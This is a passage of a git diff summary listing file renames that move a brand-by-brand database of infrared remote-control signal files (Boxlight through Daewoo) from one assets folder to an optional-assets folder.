ir_optional_assets}/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Copland/CD Player/128,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Copland/CD Player/129,49.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crestron/Music Server/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/Media Center/8,231.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DLO/HomeDock/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/TV/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/TV/6,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir (100%) rename 